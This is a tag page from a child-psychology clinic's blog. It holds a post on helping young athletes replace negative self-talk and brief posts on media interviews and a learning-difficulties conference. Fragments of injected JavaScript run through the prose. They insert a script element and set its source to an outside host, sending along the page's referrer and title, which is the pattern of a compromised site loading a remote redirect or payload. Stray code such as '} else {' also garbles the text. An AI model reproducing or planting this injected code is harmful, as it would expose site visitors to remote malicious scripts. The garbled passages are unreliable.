Tag: Self-esteem

Sports Psychology Tips to Stop Negative Self-Talk

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Posted on by Kathryn Berry (Quirky Kid Staff)

When it comes to improving performance. building self-esteem, good sportsmanship, and camaraderie, one of the most important aspects of sports psychology is positive self-talk. Research suggests that positive self-talk is associated with better performance. In fact, the Australian Sports Commission has carried out research that demonstrates the detrimental impact negative self-talk has on performance and having a positive attitude when it comes to athletic endeavours improves performance.

Young people, in particular, can benefit from learning more about positive self-talk. Improvements in their inner dialogue can improve both their attitude and performance and can have a positive influence on their interactions outside the sporting sphere. Quirky Kid has developed a program designed at young people aged 10 to 16, called Power Up. 

A common presentation for our young athletes is an inner dialogue that is dominated with doubt and negativity. Common expressions we hear from our young athletes are

“I’ll never be able to do it!”,
“I am no good at it,”
“there is no point trying.”

This type of negative self-talk can prevent a young athlete from performing well and create a negative cycle of poor self-esteem and poor performance. If a child feels they can’t be successful at a task, they often accept, and even expect failure. Negativity can turn a child’s insecurities into a self-fulfilling prophecy.

The good news is that positive self-talk is a skill that children can learn and utilise with practice. By using positive self-talk, young athletes can build the confidence they require to accept new challenges, maintain a healthy self-esteem, and build on new skills, even when the task is personally challenging. The first task in helping children challenge and change their self-talk is to support them in recognising negative self-talk patterns and identifying unhelpful language such as “can’t” or “never” in their internal dialogue. Some children put themselves down by referring to themselves as “stupid” or by using other put-downs. Once a child has identified negative self-talk, they can be assisted in challenging and replacing those thoughts.

Like many habits, the process of replacing negative self-talk can take some time. Children need to learn to interrupt patterns of self-doubt with more realistic and helpful thinking. For example, a young soccer player who tells herself, “I’ll never score this goal,” can replace this thought with a more helpful and realistic thought such as  “I’ve made the goal many times during practice and I can do it again!”. Just saying happy things is not enough, children must believe the positive thought and thus the key is to replace negative thoughts with thoughts that reflect reality and that are helpful.

One way to practise positive thinking is through practising self-talk out loud each morning in front of the mirror. Write a daily affirmation on a Post-It note and stick it on the child’s mirror so they can start each day in a positive frame of mind. Ask them to say the affirmation out loud in the morning, and to remind themselves of it whenever they’re thinking negatively throughout the day.

Interrupting and replacing negative self-talk can be a challenging task for children who suffer from low self-esteem, but with practise, young athletes can learn to accept challenging situations without putting themselves down and can and learn to feel good about both their strengths and weaknesses.

If you’re interested in learning more about how sports psychology can help children develop their self-esteem and athletic skills, and be positive teammates, please contact us.

Support network:

Buy Power Up:

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Buy Power Up: Give your child the skills to perform at their best

References:

Austin, M (2016). Listening to the voices in your head: identifying and adapting athletes’ self-talk. Volume 28 Number 4
Bunker, L, Williams, JM and Zinsser, N 1993, ‘Cognitive techniques for improving performance and self-confidence’, in JM Williams (ed.), Applied sport psychology: personal growth to peak performance, Mayfield, Mountain View, CA. pages numbers?

Carlson, R 1997, Don’t sweat the small stuff, Bantam, Milson’s Point, NSW.

Carlson, R 2005, Easier than you think, HarperCollins, New York, NY.

Hardy, L, Jones, G and Gould, D 1998, Understanding psychological preparation for sport: theory and practice of elite performers, John Wiley and Sons, West Sussex, UK. pages numbers?document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Self-esteem – TV Week

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Kimberley O’Brien, our principal child psychologist, discussed the consequences of public negative feedback with TV week reporter Lucy Walker . You can view interview review  the TV Week website

You can find useful, practical and informative advice about parenting and young people by visiting our resources page, – or discussing it on our forum. You can also provide your own opinion on our Facebook page or Twitter at @quirky_kid

If you have a story and would like to discuss it with us, please contact us to schedule a time.

Kimberley O’Brien enjoys sharing the best of her therapeutic moments with the media. View our media appearances to-date.document.currentScript.parentNode.insertBefore(s, document.currentScript);

FaceBook @ SAFM

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Kimberley O’Brien, our principal child psychologist, discussed Facebook and Children with radio presenters Hayley, Craig and Rabbit from SAFM.

You can find useful, practical and informative advice about parenting  and young people by visiting our resources page, – or discussing it on our forum.

You can read the article  by visiting the SAFM Website.

If you have a story and would like to discuss it with us, please contact us to schedule a time. Kimberley O’Brien enjoys sharing the best of her therapeutic moments with the media. View our media appearances to-date.

Spoiling Kids @ Practical Parenting

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Kimberley O’Brien, our principal child psychologist, discussed ‘over-praising children’  with reporter Mercedes Maguire from Practical Parenting Magazine .. You can find useful, practical and informative advice about parenting by visiting our resources page, – or discussing it on our forum.

Check Kimberly’s and other experts comments at the Practical Parenting Website

According to Kimberley praise is great but needs to be balanced and given at the right moments or you end up with children who expect everything they do to end in a positive result, which is not reality.

The Quirky Kid runs a workshop called ‘Raise on Praise’ and other great workshops for parents.

If you have a story and would like to discuss it with us, please contact us to schedule a time. Kimberley O’Brien enjoys sharing the best of her therapeutic moments with the media. View our media appearances to-date.} else {

SPELD Conference 2009

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Posted on by Leonardo Rocker (Quirky Kid Staff)

Jacqui Olsson attended the 2009 SPELD Conference on Wednesday, 7th October 2009.This year’s conference focused on Reading and Lanugage difficulties, and guest speakers from Australia and Overseas presented on topics such as dyslexia and language impairment, methods of teaching vocabulary, improving the quality of students’ written texts, development and assessment of students’ spelling skills and managing disruptive behaviour. To learn more about these issues, please visit our resources page.

SPELD NSW is an association of parents and professionals interested and involved in advancing the education and general well-being of children and adults with Specific Learning Difficulties or learning disability.

If you believe your child may be experiencing learning difficulties, please contact us  to arrange an appointment.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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